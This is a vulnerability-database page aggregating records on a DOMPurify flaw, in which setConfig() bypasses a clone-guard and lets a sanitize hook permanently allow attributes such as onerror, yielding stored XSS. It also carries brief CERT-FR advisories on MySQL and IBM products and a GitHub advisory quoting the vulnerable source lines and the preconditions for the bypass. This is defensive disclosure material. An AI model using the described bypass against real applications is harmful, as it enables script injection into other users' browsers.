Vulnerability-Lookup

CVE-2026-65898 (GCVE-0-2026-65898)

Vulnerability from cvelistv5 – Published: 2026-07-23 13:16 – Updated: 2026-07-23 15:47

Title

DOMPurify before 3.4.11 Permanent Attribute Allowlist Pollution via setConfig

Summary

DOMPurify before 3.4.11 fails to clone the ALLOWED_ATTR allowlist when setConfig() is used with an uponSanitizeAttribute hook, allowing the hook to permanently mutate the shared allowlist. Attackers can register a hook that conditionally allows dangerous attributes like onerror for trusted elements, then submit untrusted content that inherits the polluted allowlist and executes event handlers as stored XSS.

Severity

5.1 (Medium)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

7.2 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

SSVC

Exploitation: none Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-07-23 15:47 UTC

CWE

CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Assigner

VulnCheck mitre root

References

2 references

URL	Tags
https://github.com/cure53/DOMPurify/security/advi…	vendor-advisory
https://www.vulncheck.com/advisories/dompurify-be…	third-party-advisory

Impacted products

1 product

Vendor	Product	Version	CPE status
cure53	DOMPurify	Affected: 0 , < 3.4.11 (semver) Unaffected: 3.4.11 (semver) cpe:2.3:a:cure53:dompurify::::::::

Date Public

2026-06-17 00:00

Credits

trace37labs

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-65898",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-07-23T15:47:09.886642Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-07-23T15:47:13.882Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-cmwh-pvxp-8882"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "packageURL": "pkg:npm/dompurify",
          "product": "DOMPurify",
          "vendor": "cure53",
          "versions": [
            {
              "lessThan": "3.4.11",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "status": "unaffected",
              "version": "3.4.11",
              "versionType": "semver"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:a:cure53:dompurify:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "3.4.11",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "trace37labs"
        }
      ],
      "datePublic": "2026-06-17T00:00:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "value": "DOMPurify before 3.4.11 fails to clone the ALLOWED_ATTR allowlist when setConfig() is used with an uponSanitizeAttribute hook, allowing the hook to permanently mutate the shared allowlist. Attackers can register a hook that conditionally allows dangerous attributes like onerror for trusted elements, then submit untrusted content that inherits the polluted allowlist and executes event handlers as stored XSS."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "Automatable": "NOT_DEFINED",
            "Recovery": "NOT_DEFINED",
            "Safety": "NOT_DEFINED",
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 5.1,
            "baseSeverity": "MEDIUM",
            "exploitMaturity": "NOT_DEFINED",
            "privilegesRequired": "LOW",
            "providerUrgency": "NOT_DEFINED",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "LOW",
            "subIntegrityImpact": "LOW",
            "userInteraction": "PASSIVE",
            "valueDensity": "NOT_DEFINED",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "NONE",
            "vulnIntegrityImpact": "NONE",
            "vulnerabilityResponseEffort": "NOT_DEFINED"
          },
          "format": "CVSS"
        },
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 7.2,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "privilegesRequired": "NONE",
            "scope": "CHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
            "version": "3.1"
          },
          "format": "CVSS"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-79",
              "description": "Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-07-23T13:16:17.715Z",
        "orgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
        "shortName": "VulnCheck"
      },
      "references": [
        {
          "name": "GitHub Security Advisory (GHSA-cmwh-pvxp-8882)",
          "tags": [
            "vendor-advisory"
          ],
          "url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-cmwh-pvxp-8882"
        },
        {
          "name": "VulnCheck Advisory: DOMPurify before 3.4.11 Permanent Attribute Allowlist Pollution via setConfig",
          "tags": [
            "third-party-advisory"
          ],
          "url": "https://www.vulncheck.com/advisories/dompurify-before-permanent-attribute-allowlist-pollution-via-setconfig"
        }
      ],
      "title": "DOMPurify before 3.4.11 Permanent Attribute Allowlist Pollution via setConfig",
      "x_generator": {
        "engine": "vulncheck-endgame"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
    "assignerShortName": "VulnCheck",
    "cveId": "CVE-2026-65898",
    "datePublished": "2026-07-23T13:16:17.715Z",
    "dateReserved": "2026-07-23T11:03:13.092Z",
    "dateUpdated": "2026-07-23T15:47:13.882Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-65898",
      "date": "2026-08-24",
      "epss": "0.00212",
      "percentile": "0.11363"
    },
    "nvd": "{\"cve\":{\"id\":\"CVE-2026-65898\",\"sourceIdentifier\":\"disclosure@vulncheck.com\",\"published\":\"2026-07-23T14:18:04.517\",\"lastModified\":\"2026-07-28T15:54:05.790\",\"vulnStatus\":\"Analyzed\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"DOMPurify before 3.4.11 fails to clone the ALLOWED_ATTR allowlist when setConfig() is used with an uponSanitizeAttribute hook, allowing the hook to permanently mutate the shared allowlist. Attackers can register a hook that conditionally allows dangerous attributes like onerror for trusted elements, then submit untrusted content that inherits the polluted allowlist and executes event handlers as stored XSS.\"}],\"affected\":[{\"source\":\"disclosure@vulncheck.com\",\"affectedData\":[{\"vendor\":\"cure53\",\"product\":\"DOMPurify\",\"defaultStatus\":\"unaffected\",\"packageURL\":\"pkg:npm/dompurify\",\"versions\":[{\"version\":\"0\",\"lessThan\":\"3.4.11\",\"versionType\":\"semver\",\"status\":\"affected\"},{\"version\":\"3.4.11\",\"versionType\":\"semver\",\"status\":\"unaffected\"}]}]}],\"metrics\":{\"cvssMetricV40\":[{\"source\":\"disclosure@vulncheck.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"4.0\",\"vectorString\":\"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X\",\"baseScore\":5.1,\"baseSeverity\":\"MEDIUM\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"attackRequirements\":\"NONE\",\"privilegesRequired\":\"LOW\",\"userInteraction\":\"PASSIVE\",\"vulnConfidentialityImpact\":\"NONE\",\"vulnIntegrityImpact\":\"NONE\",\"vulnAvailabilityImpact\":\"NONE\",\"subConfidentialityImpact\":\"LOW\",\"subIntegrityImpact\":\"LOW\",\"subAvailabilityImpact\":\"NONE\",\"exploitMaturity\":\"NOT_DEFINED\",\"confidentialityRequirement\":\"NOT_DEFINED\",\"integrityRequirement\":\"NOT_DEFINED\",\"availabilityRequirement\":\"NOT_DEFINED\",\"modifiedAttackVector\":\"NOT_DEFINED\",\"modifiedAttackComplexity\":\"NOT_DEFINED\",\"modifiedAttackRequirements\":\"NOT_DEFINED\",\"modifiedPrivilegesRequired\":\"NOT_DEFINED\",\"modifiedUserInteraction\":\"NOT_DEFINED\",\"modifiedVulnConfidentialityImpact\":\"NOT_DEFINED\",\"modifiedVulnIntegrityImpact\":\"NOT_DEFINED\",\"modifiedVulnAvailabilityImpact\":\"NOT_DEFINED\",\"modifiedSubConfidentialityImpact\":\"NOT_DEFINED\",\"modifiedSubIntegrityImpact\":\"NOT_DEFINED\",\"modifiedSubAvailabilityImpact\":\"NOT_DEFINED\",\"Safety\":\"NOT_DEFINED\",\"Automatable\":\"NOT_DEFINED\",\"Recovery\":\"NOT_DEFINED\",\"valueDensity\":\"NOT_DEFINED\",\"vulnerabilityResponseEffort\":\"NOT_DEFINED\",\"providerUrgency\":\"NOT_DEFINED\"}}],\"cvssMetricV31\":[{\"source\":\"disclosure@vulncheck.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N\",\"baseScore\":7.2,\"baseSeverity\":\"HIGH\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"NONE\",\"scope\":\"CHANGED\",\"confidentialityImpact\":\"LOW\",\"integrityImpact\":\"LOW\",\"availabilityImpact\":\"NONE\"},\"exploitabilityScore\":3.9,\"impactScore\":2.7}],\"ssvcV203\":[{\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"ssvcData\":{\"timestamp\":\"2026-07-23T15:47:09.886642Z\",\"id\":\"CVE-2026-65898\",\"options\":[{\"exploitation\":\"none\"},{\"automatable\":\"no\"},{\"technicalImpact\":\"partial\"}],\"role\":\"CISA Coordinator\",\"version\":\"2.0.3\"}}]},\"weaknesses\":[{\"source\":\"disclosure@vulncheck.com\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-79\"}]}],\"configurations\":[{\"nodes\":[{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":true,\"criteria\":\"cpe:2.3:a:cure53:dompurify:*:*:*:*:*:*:*:*\",\"versionEndExcluding\":\"3.4.11\",\"matchCriteriaId\":\"6E037AAD-67CA-4508-BC91-12014A53852D\"}]}]}],\"references\":[{\"url\":\"https://github.com/cure53/DOMPurify/security/advisories/GHSA-cmwh-pvxp-8882\",\"source\":\"disclosure@vulncheck.com\",\"tags\":[\"Exploit\",\"Third Party Advisory\"]},{\"url\":\"https://www.vulncheck.com/advisories/dompurify-before-permanent-attribute-allowlist-pollution-via-setconfig\",\"source\":\"disclosure@vulncheck.com\",\"tags\":[\"Third Party Advisory\"]},{\"url\":\"https://github.com/cure53/DOMPurify/security/advisories/GHSA-cmwh-pvxp-8882\",\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"tags\":[\"Exploit\",\"Third Party Advisory\"]}]}}",
    "redhat_vex": {
      "aggregate_severity": "Moderate",
      "current_release_date": "2026-08-24T11:17:15+00:00",
      "cve": "CVE-2026-65898",
      "id": "CVE-2026-65898",
      "initial_release_date": "2026-07-23T13:16:17.715000+00:00",
      "product_status:fixed": "6",
      "product_status:known_affected": "46",
      "product_status:known_not_affected": "1",
      "product_status:under_investigation": "126",
      "source": "Red Hat CSAF VEX",
      "status": "final",
      "title": "dompurify: DOMPurify: Cross-site scripting via permanent attribute allowlist pollution",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-65898.json",
      "version": "3"
    },
    "suse_vex": {
      "aggregate_severity": "important",
      "current_release_date": "2026-08-05T00:30:49Z",
      "cve": "CVE-2026-65898",
      "id": "CVE-2026-65898",
      "initial_release_date": "2026-08-05T00:30:49Z",
      "product_status:known_affected": "14",
      "source": "SUSE CSAF VEX",
      "status": "interim",
      "title": "SUSE CVE CVE-2026-65898",
      "url": "https://ftp.suse.com/pub/projects/security/csaf-vex/cve-2026-65898.json",
      "version": "2"
    },
    "vulnrichment": {
      "containers": "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-65898\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"none\"}, {\"Automatable\": \"no\"}, {\"Technical Impact\": \"partial\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-07-23T15:47:09.886642Z\"}}}], \"references\": [{\"url\": \"https://github.com/cure53/DOMPurify/security/advisories/GHSA-cmwh-pvxp-8882\", \"tags\": [\"exploit\"]}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-07-23T15:47:02.102Z\"}}], \"cna\": {\"title\": \"DOMPurify before 3.4.11 Permanent Attribute Allowlist Pollution via setConfig\", \"credits\": [{\"lang\": \"en\", \"type\": \"finder\", \"value\": \"trace37labs\"}], \"metrics\": [{\"format\": \"CVSS\", \"cvssV4_0\": {\"Safety\": \"NOT_DEFINED\", \"version\": \"4.0\", \"Recovery\": \"NOT_DEFINED\", \"baseScore\": 5.1, \"Automatable\": \"NOT_DEFINED\", \"attackVector\": \"NETWORK\", \"baseSeverity\": \"MEDIUM\", \"valueDensity\": \"NOT_DEFINED\", \"vectorString\": \"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N\", \"exploitMaturity\": \"NOT_DEFINED\", \"providerUrgency\": \"NOT_DEFINED\", \"userInteraction\": \"PASSIVE\", \"attackComplexity\": \"LOW\", \"attackRequirements\": \"NONE\", \"privilegesRequired\": \"LOW\", \"subIntegrityImpact\": \"LOW\", \"vulnIntegrityImpact\": \"NONE\", \"subAvailabilityImpact\": \"NONE\", \"vulnAvailabilityImpact\": \"NONE\", \"subConfidentialityImpact\": \"LOW\", \"vulnConfidentialityImpact\": \"NONE\", \"vulnerabilityResponseEffort\": \"NOT_DEFINED\"}}, {\"format\": \"CVSS\", \"cvssV3_1\": {\"scope\": \"CHANGED\", \"version\": \"3.1\", \"baseScore\": 7.2, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"HIGH\", \"vectorString\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N\", \"integrityImpact\": \"LOW\", \"userInteraction\": \"NONE\", \"attackComplexity\": \"LOW\", \"availabilityImpact\": \"NONE\", \"privilegesRequired\": \"NONE\", \"confidentialityImpact\": \"LOW\"}}], \"affected\": [{\"vendor\": \"cure53\", \"product\": \"DOMPurify\", \"versions\": [{\"status\": \"affected\", \"version\": \"0\", \"lessThan\": \"3.4.11\", \"versionType\": \"semver\"}, {\"status\": \"unaffected\", \"version\": \"3.4.11\", \"versionType\": \"semver\"}], \"packageURL\": \"pkg:npm/dompurify\", \"defaultStatus\": \"unaffected\"}], \"datePublic\": \"2026-06-17T00:00:00.000Z\", \"references\": [{\"url\": \"https://github.com/cure53/DOMPurify/security/advisories/GHSA-cmwh-pvxp-8882\", \"name\": \"GitHub Security Advisory (GHSA-cmwh-pvxp-8882)\", \"tags\": [\"vendor-advisory\"]}, {\"url\": \"https://www.vulncheck.com/advisories/dompurify-before-permanent-attribute-allowlist-pollution-via-setconfig\", \"name\": \"VulnCheck Advisory: DOMPurify before 3.4.11 Permanent Attribute Allowlist Pollution via setConfig\", \"tags\": [\"third-party-advisory\"]}], \"x_generator\": {\"engine\": \"vulncheck-endgame\"}, \"descriptions\": [{\"lang\": \"en\", \"value\": \"DOMPurify before 3.4.11 fails to clone the ALLOWED_ATTR allowlist when setConfig() is used with an uponSanitizeAttribute hook, allowing the hook to permanently mutate the shared allowlist. Attackers can register a hook that conditionally allows dangerous attributes like onerror for trusted elements, then submit untrusted content that inherits the polluted allowlist and executes event handlers as stored XSS.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-79\", \"description\": \"Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)\"}]}], \"cpeApplicability\": [{\"nodes\": [{\"negate\": false, \"cpeMatch\": [{\"criteria\": \"cpe:2.3:a:cure53:dompurify:*:*:*:*:*:*:*:*\", \"vulnerable\": true, \"versionEndExcluding\": \"3.4.11\"}], \"operator\": \"OR\"}]}], \"providerMetadata\": {\"orgId\": \"83251b91-4cc7-4094-a5c7-464a1b83ea10\", \"shortName\": \"VulnCheck\", \"dateUpdated\": \"2026-07-23T13:16:17.715Z\"}}}",
      "cveMetadata": "{\"cveId\": \"CVE-2026-65898\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-07-23T15:47:13.882Z\", \"dateReserved\": \"2026-07-23T11:03:13.092Z\", \"assignerOrgId\": \"83251b91-4cc7-4094-a5c7-464a1b83ea10\", \"datePublished\": \"2026-07-23T13:16:17.715Z\", \"assignerShortName\": \"VulnCheck\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

CERTFR-2026-AVI-1049

Vulnerability from certfr_avis - Published: 2026-08-19 - Updated: 2026-08-19

De multiples vulnérabilités ont été découvertes dans Oracle MySQL. Certaines d'entre elles permettent à un attaquant de provoquer une exécution de code arbitraire à distance, un déni de service à distance et une atteinte à la confidentialité des données.

Solutions

Se référer au bulletin de sécurité de l'éditeur pour l'obtention des correctifs (cf. section Documentation).

Impacted products

Vendor	Product	Description
Oracle	MySQL	MySQL AI versions 9.4.0 à 9.7.2
Oracle	MySQL	MySQL Cluster versions à 8.0.0 à 8.0.48
Oracle	MySQL	MySQL AI version 26.7.0
Oracle	MySQL	MySQL Shell (_Shell: Core Client) version 26.7.0
Oracle	MySQL	MySQL Cluster versions 8.4.0 à 8.4.11
Oracle	MySQL	MySQL Cluster versions 9.7.0 à 9.7.2
Oracle	MySQL	MySQL Connectors (_Connector/ODBC) version 26.7.0
Oracle	MySQL	Enterprise Manager for MySQL Database versions 13.5.1.0.0 à 13.5.6.0.0

References

Title

Publication Time

CERTFR-2026-AVI-1067

Vulnerability from certfr_avis - Published: 2026-08-21 - Updated: 2026-08-21

De multiples vulnérabilités ont été découvertes dans les produits IBM. Certaines d'entre elles permettent à un attaquant de provoquer une exécution de code arbitraire à distance, une élévation de privilèges et un déni de service à distance.

Solutions

Se référer au bulletin de sécurité de l'éditeur pour l'obtention des correctifs (cf. section Documentation).

Impacted products

Vendor	Product	Description
IBM	Tivoli	Tivoli Composite Application Manager for Applications WebSphere MQ Monitoring Agent version 7.3.0 Fix Pack 4 sans les derniers correctifs
IBM	VIOS	PowerVM VIOS version 4.1 sans les derniers correctifs de sécurité
IBM	AIX	AIX version 7.2 sans les derniers correctifs de sécurité
IBM	Tivoli	Tivoli Composite Application Manager for Application Diagnostics version 7.1.0 sans les derniers correctifs de sécurité pour WebSphere Application Server
IBM	Informix Dynamic Server	Informix Dynamic Server versions 12.10.x à 14.10.x antérieures à 14.10.xC13W13
IBM	QRadar	QRadar Log Source Management App versions antérieures à 7.0.17
IBM	WebSphere	WebSphere Remote Server version 8.5 sans les derniers correctifs de sécurité
IBM	WebSphere	WebSphere Remote Server version 9.0 sans les derniers correctifs de sécurité
IBM	WebSphere	WebSphere Hybrid Edition version 5.1 sans les derniers correctifs de sécurité
IBM	WebSphere	WebSphere Service Registry and Repository version 8.5 sans les derniers correctifs de sécurité
IBM	Informix Dynamic Server	Informix Dynamic Server versions 15.0.x antérieures à 15.0.1.13
IBM	WebSphere	WebSphere Remote Server version 9.1 sans les derniers correctifs de sécurité
IBM	AIX	AIX version 7.3 sans les derniers correctifs de sécurité

References

Title

Publication Time

FKIE_CVE-2026-65898

Vulnerability from fkie_nvd - Published: 2026-07-23 14:18 - Updated: 2026-07-28 15:54

Severity

7.2 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

Summary

References

URL	Tags
disclosure@vulncheck.com	https://github.com/cure53/DOMPurify/security/advisories/GHSA-cmwh-pvxp-8882	Exploit, Third Party Advisory
disclosure@vulncheck.com	https://www.vulncheck.com/advisories/dompurify-before-permanent-attribute-allowlist-pollution-via-setconfig	Third Party Advisory
134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/cure53/DOMPurify/security/advisories/GHSA-cmwh-pvxp-8882	Exploit, Third Party Advisory

Impacted products

	Vendor	Product	Version
	cure53	dompurify	*

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "defaultStatus": "unaffected",
          "packageURL": "pkg:npm/dompurify",
          "product": "DOMPurify",
          "vendor": "cure53",
          "versions": [
            {
              "lessThan": "3.4.11",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "status": "unaffected",
              "version": "3.4.11",
              "versionType": "semver"
            }
          ]
        }
      ],
      "source": "disclosure@vulncheck.com"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:cure53:dompurify:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "6E037AAD-67CA-4508-BC91-12014A53852D",
              "versionEndExcluding": "3.4.11",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "DOMPurify before 3.4.11 fails to clone the ALLOWED_ATTR allowlist when setConfig() is used with an uponSanitizeAttribute hook, allowing the hook to permanently mutate the shared allowlist. Attackers can register a hook that conditionally allows dangerous attributes like onerror for trusted elements, then submit untrusted content that inherits the polluted allowlist and executes event handlers as stored XSS."
    }
  ],
  "id": "CVE-2026-65898",
  "lastModified": "2026-07-28T15:54:05.790",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 7.2,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "LOW",
          "integrityImpact": "LOW",
          "privilegesRequired": "NONE",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 2.7,
        "source": "disclosure@vulncheck.com",
        "type": "Secondary"
      }
    ],
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "NONE",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 5.1,
          "baseSeverity": "MEDIUM",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "LOW",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "LOW",
          "subIntegrityImpact": "LOW",
          "userInteraction": "PASSIVE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "NONE",
          "vulnConfidentialityImpact": "NONE",
          "vulnIntegrityImpact": "NONE",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "disclosure@vulncheck.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-65898",
          "options": [
            {
              "exploitation": "none"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-07-23T15:47:09.886642Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-07-23T14:18:04.517",
  "references": [
    {
      "source": "disclosure@vulncheck.com",
      "tags": [
        "Exploit",
        "Third Party Advisory"
      ],
      "url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-cmwh-pvxp-8882"
    },
    {
      "source": "disclosure@vulncheck.com",
      "tags": [
        "Third Party Advisory"
      ],
      "url": "https://www.vulncheck.com/advisories/dompurify-before-permanent-attribute-allowlist-pollution-via-setconfig"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Third Party Advisory"
      ],
      "url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-cmwh-pvxp-8882"
    }
  ],
  "sourceIdentifier": "disclosure@vulncheck.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-79"
        }
      ],
      "source": "disclosure@vulncheck.com",
      "type": "Secondary"
    }
  ]
}

GHSA-CMWH-PVXP-8882

Vulnerability from github – Published: 2026-06-18 14:27 – Updated: 2026-07-23 13:58

Summary

DOMPurify: Permanent `ALLOWED_ATTR` pollution via `setConfig()` bypassing the hook clone-guard (incomplete fix of the 3.4.7 hook-pollution patch)

Details

Summary

DOMPurify 3.4.7 shipped a security fix ("permanent hook pollution") that makes a registered uponSanitizeAttribute hook's mutation of data.allowedAttributes non-persistent — so allowing an attribute for one element does not leak into later sanitize() calls. The fix clones ALLOWED_ATTR inside _parseConfig.

That guard is silently bypassed whenever the application uses the persistent-config API DOMPurify.setConfig(). setConfig() sets the module flag SET_CONFIG = true, which causes sanitize() to skip _parseConfig entirely — and the clone-guard lives inside _parseConfig. The hook is then handed the live, shared ALLOWED_ATTR object; any data.allowedAttributes[name] = true it writes mutates that shared object permanently, for the lifetime of the DOMPurify instance, across every subsequent call, and across all elements.

If an application uses setConfig() together with an uponSanitizeAttribute hook that conditionally allows a dangerous attribute (onerror, onclick, onmouseover, srcdoc, formaction, …) for "trusted" elements, then one trusted render permanently allows that attribute on untrusted, attacker-controlled content — yielding stored XSS in viewers' browsers. DOMPurify applies no separate /^on/ event-handler blocklist: attribute stripping is governed entirely by the allowlist, so a polluted allowlist is the only gate, and survival in the output is final.

Affected configuration (preconditions)

The vulnerability is triggered when an application does both:

Calls DOMPurify.setConfig(...) once (the recommended pattern for a fixed, persistent policy), and
Registers an uponSanitizeAttribute hook that writes data.allowedAttributes[name] = true to conditionally allow an attribute (e.g. only for elements bearing a trust marker).

This hook pattern is demonstrated in DOMPurify's own test suite, and the per-call variant of exactly this leak is what 3.4.7 was released to fix.

Root cause (source: `src/purify.ts`, v3.4.10)

The 3.4.7 clone-guard — only inside _parseConfig:

// src/purify.ts  _parseConfig()  (lines ~950-968)
// "if a hook is registered AND the set still points at the default constant, clone it.
//  The hook then mutates the clone ... and the next default-cfg call rebinds to the untouched original."
if ( ... && hooks.uponSanitizeAttribute.length > 0) {
  ALLOWED_TAGS = clone(ALLOWED_TAGS);          // line 961
}
if ( ... hooks.uponSanitizeAttribute.length > 0 ... ) {
  ALLOWED_ATTR = clone(ALLOWED_ATTR);          // line 968
}

sanitize() skips _parseConfig on the persistent-config path:

// src/purify.ts  DOMPurify.sanitize()  (line 2369)
if (!SET_CONFIG) {
  _parseConfig(cfg);          // <-- clone-guard lives in here; SKIPPED when SET_CONFIG is true
}

setConfig() sets the flag that disables the guard:

// src/purify.ts  (lines 2596-2598)
DOMPurify.setConfig = function (cfg = {}) {
  _parseConfig(cfg);
  SET_CONFIG = true;          // every later sanitize() now skips _parseConfig
};

The hook is handed the live allowlist binding, and there is no secondary event-handler defense:

// src/purify.ts (line 2088) — hook event exposes the shared object by reference
allowedAttributes: ALLOWED_ATTR,
// (line 2108) hooks.uponSanitizeAttribute executed; a write to data.allowedAttributes mutates ALLOWED_ATTR itself
